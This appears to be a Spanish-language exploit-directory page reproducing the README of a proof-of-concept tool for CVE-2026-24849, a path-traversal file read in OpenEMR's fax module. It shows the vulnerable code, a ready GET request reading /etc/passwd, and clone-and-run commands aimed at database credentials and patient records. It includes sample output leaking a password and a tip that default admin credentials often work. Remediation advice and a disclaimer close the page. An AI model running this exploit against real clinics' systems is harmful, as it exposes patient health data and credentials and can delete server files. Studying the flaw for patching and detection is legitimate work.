Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/doany1/cve-2026-24849
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónPruebas de Penetración
GitHubdoany1/cve-2026-24849

CVE-2026-24849

Prueba de concepto para CVE-2026-24849, una lectura arbitraria de archivos por path traversal autenticado en el módulo EtherFax de OpenEMR. Lee archivos del servidor, incluidas credenciales de base de datos y registros de pacientes.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-24849 OpenEMR Lectura Arbitraria de Archivos Autenticada (EtherFax disposeDoc)

Probado en: OpenEMR Versión = 7.0.2

Exploit de prueba de concepto para CVE-2026-24849, un path traversal / lectura arbitraria de archivos autenticada en el módulo Fax/SMS (EtherFax) de OpenEMR. Cualquier usuario autenticado –sin importar su nivel de privilegios– puede leer archivos arbitrarios del sistema de archivos del servidor como el usuario del servidor web (credenciales de base de datos, documentos de pacientes/PHI, /etc/passwd, ...).

CVECVE-2026-24849
VulnerabilidadPath Traversal / Lectura Arbitraria de Archivos (CWE-22)
ComponenteEtherFaxActions::disposeDoc() – interface/modules/custom_modules/oe-module-faxsms
AfectadoOpenEMR < 7.0.4
Corregido enOpenEMR 7.0.4
AutenticaciónRequerida – cualquier usuario, sin privilegios necesarios
SeveridadNVD 6.5 (Media) / GitHub CNA 9.9 (Crítica)
Probado enOpenEMR 7.0.2 – Ubuntu 22.04, PHP 8.1, Apache 2.4

La vulnerabilidad

El método disposeDoc() del módulo Fax/SMS toma un parámetro de solicitud file_path proporcionado por el llamante, confirma que el archivo existe y lo pasa directamente a readfile() sin canonización de ruta, sin lista blanca y sin verificación de autorización más allá de tener una sesión válida:

root@kitploit:~
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // controlado por el atacante, sin validar
    if (file_exists($where)) {
        ...
        readfile($where);    // lectura arbitraria de archivos como el usuario del servidor web
        unlink($where);      // ⚠ elimina el archivo después de leerlo (ver advertencia abajo)
        exit;
    }
    die('Problem with download. Use browser back button');
}

Se accede al manejador a través del despachador del módulo con una ruta absoluta en file_path (sin necesidad de ../):

root@kitploit:~
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

Impacto

Una cuenta con pocos privilegios (o la predeterminada) se convierte en una primitiva completa de lectura de archivos del lado del servidor:

  • Credenciales de base de datos – sites/default/sqlconf.php
  • Registros de pacientes / PHI – cualquier cosa bajo sites/<site>/documents/, incluso si ese directorio tiene Deny from all en .htaccess (la lectura ocurre en disco, evitando Apache)
  • Archivos del sistema – /etc/passwd, código fuente de la aplicación, claves/tokens legibles por el usuario web

⚠️ Comportamiento destructivo

disposeDoc() llama a unlink($where) después de leer el archivo. Leer un archivo que el usuario del servidor web tiene permitido eliminar lo borrará. Los archivos propiedad de root (p. ej., /etc/passwd, sqlconf.php en la mayoría de instalaciones) – su directorio padre no es escribible por el usuario web, por lo que unlink() falla y el archivo sobrevive. Sea deliberado sobre a qué apunta esto.

Prerrequisitos

  • Credenciales válidas de OpenEMR (cualquier nivel de privilegio; a menudo funciona el admin:pass predeterminado).
  • El módulo Fax/SMS habilitado con EtherFax seleccionado como proveedor de fax. No se requiere una cuenta/credenciales reales de EtherFax: la lectura del archivo ocurre antes de cualquier llamada a API externa.

Requisitos

  • Python 3.6+
  • requests
root@kitploit:~
pip3 install requests

Instalación

root@kitploit:~
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

Uso

Ejecútelo sin argumentos y solicitará todo lo necesario:

root@kitploit:~
python3 CVE-2026-24849.py

O diríjalo de forma no interactiva con banderas:

root@kitploit:~
# leer un solo archivo
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# obtener las credenciales de la BD y guardarlas en un archivo
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

Opciones

BanderaDescripciónPredeterminado
-t, --targetURL base, p. ej. http://10.10.10.10solicitado
-u, --userNombre de usuario de OpenEMRadmin
-P, --passwordContraseña de OpenEMRsolicitada (oculta)
-s, --siteID del sitio de OpenEMRdefault
-f, --fileRuta absoluta del archivo remoto a leerbucle interactivo si se omite
-o, --outputGuardar el archivo obtenido localmente en lugar de imprimirlo

Si se omite -f, la herramienta entra en un bucle de lectura interactivo para que pueda extraer múltiples archivos desde una sola sesión.

Ejemplo

root@kitploit:~
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Lectura Arbitraria de Archivos Autenticada (CVE-2026-24849)

URL base del objetivo (p. ej. http://10.10.10.10): http://10.10.10.10
Nombre de usuario [admin]:
Contraseña:
Sitio [default]:
[*] Autenticando en http://10.10.10.10 como 'admin' ...
[+] Autenticado; lectura de archivos CVE-2026-24849 confirmada.

[*] Lectura interactiva - introduzca rutas de archivo absolutas (en blanco o 'q' para salir).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

Cómo funciona

  1. Inicia sesión con requests, manteniendo la sesión en su propio almacén de cookies (evita la rotación de ID de sesión del navegador que hace que las cookies copiadas caduquen).
  2. Confirma el acceso leyendo un archivo de prueba seguro propiedad de root: distingue claramente entre credenciales incorrectas, módulo no habilitado y éxito.
  3. Envía la solicitud de lectura disposeDoc, intentando automáticamente tanto disposeDoc como disposeDocument (el nombre del método difiere entre versiones menores afectadas).

Remedio

  • Actualice a OpenEMR 7.0.4 o posterior. La corrección canonaliza la ruta, la limita a un directorio permitido y agrega una verificación de autorización real.
  • Cambie las credenciales predeterminadas y exija un restablecimiento de contraseña en el primer inicio de sesión.
  • Mantenga los secretos y documentos de pacientes fuera de la raíz web; no confíe en .htaccess como único control.

Descargo de responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo contra sistemas que posea o para los que tenga permiso explícito y por escrito. El autor no acepta responsabilidad alguna por el uso indebido o por cualquier daño causado por este software. Tenga en cuenta el comportamiento destructivo de unlink() descrito anteriormente.

Referencias

  • Aviso de seguridad de GitHub: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  • Proveedor: https://www.open-emr.org/

Autor

doany1

Licencia

MIT – consulte LICENSE.

Descargar herramienta